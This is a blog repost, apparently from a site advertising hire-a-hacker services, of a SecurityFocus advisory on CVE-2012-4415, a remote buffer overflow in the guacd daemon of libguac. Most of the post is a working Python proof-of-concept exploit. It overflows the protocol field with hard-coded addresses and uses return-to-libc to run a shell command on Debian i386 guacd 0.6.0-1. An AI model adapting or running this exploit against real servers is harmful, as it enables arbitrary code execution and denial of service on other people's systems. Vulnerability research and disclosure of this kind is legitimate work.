Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86378455

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/55497/info

libguac is prone to a remote buffer-overflow vulnerability.

Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions. 

#!/usr/bin/python
# CVE-2012-4415: PoC for guacd buffer overflow vulnerability # # Copyright (c) 2012 Timo Juhani Lindfors <timo.lindfors@iki.fi> # # Allows arbitrary code execution on Debian i386 guacd 0.6.0-1 with # default configuration. Uses return-to-libc to bypass non-executable # stack.
#
import socket, struct
PROTOCOL_ADDRESS = 0xbf807e9f
SYSTEM_ADDRESS = 0xb76e7640
class GuacdPOC:
    def __init__(self, command):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect(('localhost', 4822))
        self.s("select")
        self.c(",")
        protocol = (command + "; " + "#" * 265)[:265]
        protocol += struct.pack("L", PROTOCOL_ADDRESS)
        protocol += struct.pack("L", SYSTEM_ADDRESS)
        self.s(protocol)
        self.c(";")
    def s(self, x):
        self.sock.send("%d.%s" % (len(x), x))
    def c(self, x):
        self.sock.send(x)
GuacdPOC("touch /tmp/owned")